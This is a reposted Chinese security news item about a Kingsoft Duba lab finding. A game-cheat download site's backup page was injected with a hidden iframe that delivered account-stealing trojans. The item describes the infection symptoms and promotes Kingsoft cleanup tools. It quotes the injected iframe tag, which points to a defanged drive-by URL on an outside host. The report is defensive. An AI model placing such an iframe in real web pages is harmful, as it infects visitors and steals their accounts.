站長資訊網(wǎng) 金山毒霸安全實驗室監(jiān)測6月17日消息，金山網(wǎng)盾云端數(shù)據(jù)突然監(jiān)測到西西游戲網(wǎng)的當(dāng)日外掛下載均報危險。西西游戲網(wǎng)是深受外掛玩家歡迎的游戲外掛下載網(wǎng)站，外掛玩家出于對西西游戲網(wǎng)的信任，很可能認為殺毒軟件誤報西西游戲網(wǎng)下載的外掛程序，若不幸中毒，可使用金山急救箱快速恢復(fù)系統(tǒng)，安裝了金山網(wǎng)盾的用戶將不會受害。
免費下載金山網(wǎng)盾:http://www.duba.net/wangdun/
金山毒霸安全專家對西西游戲網(wǎng)的異常情況進行了詳細檢查，結(jié)果發(fā)現(xiàn)是西西游戲網(wǎng)近日提供了一個西西游戲登錄器，這個登錄器的作用是在西西游戲網(wǎng)不能登錄時，使用登錄器訪問備用網(wǎng)站。但很不幸，這個備用網(wǎng)站被入侵，或備用網(wǎng)站出于某些原因被人為植入木馬。當(dāng)外掛玩家訪問備用網(wǎng)站時，會下載大量盜號木馬。安裝了金山網(wǎng)盾的玩家在打開西西游戲登錄器訪問到掛馬頁面時，金山網(wǎng)盾會立即彈出報警。
分析發(fā)現(xiàn)掛馬的方式是在正常頁面中插入<iframe src= hxxp://www.9966.org:8801/user/Zr02/index.html width=100 height=0></iframe>
其中hxxp://www.9966.org:8801/user/Zr02/index.html頁利用系統(tǒng)多個漏洞掛馬，訪問時會下載大量盜號木馬，下圖中的js文件實際全部為PE文件（可執(zhí)行程序）。
若外掛玩家不慎中招，會發(fā)現(xiàn)系統(tǒng)速度變慢。在開始、運行，輸入%Temp%，會發(fā)現(xiàn)temp文件夾下出現(xiàn)大量隱藏屬性的DLL文件
訪問西西游戲網(wǎng)不慎中毒之后，會在temp文件夾發(fā)現(xiàn)大量DLL病毒
中毒后的電腦會發(fā)現(xiàn)桌面快捷方式小箭頭不見了，這是病毒修改了桌面快捷方式的屬性。
查看被修改后的桌面快捷方式屬性，會發(fā)現(xiàn)對應(yīng)的打開方式已被修改為wscript.exe
使用金山急救箱快速清除病毒，恢復(fù)被破壞的系統(tǒng)
金山毒霸反病毒專家指出，西西游戲網(wǎng)被掛馬的頁面已被管理員發(fā)現(xiàn)清除，目前尚無法得知這是網(wǎng)站被黑客入侵還是其它人為原因。金山安全專家提醒游戲玩家，特別是偏好使用外掛的游戲玩家務(wù)必小心，推薦安裝金山網(wǎng)盾攔截可能的威脅。
已經(jīng)不幸中招的外掛玩家，可以使用金山急救箱來清除病毒，修復(fù)被破壞的系統(tǒng)。
特別提醒：本網(wǎng)內(nèi)容轉(zhuǎn)載自其他媒體，目的在于傳遞更多信息，并不代表本網(wǎng)贊同其觀點。其原創(chuàng)性以及文中陳述文字和內(nèi)容未經(jīng)本站證實，對本文以及其中全部或者部分內(nèi)容、文字的真實性、完整性、及時性本站不作任何保證或承諾，并請自行核實相關(guān)內(nèi)容。本站不承擔(dān)此類作品侵權(quán)行為的直接責(zé)任及連帶責(zé)任。如若本網(wǎng)有任何內(nèi)容侵犯您的權(quán)益，請及時聯(lián)系我們，本站將會在24小時內(nèi)處理完畢。
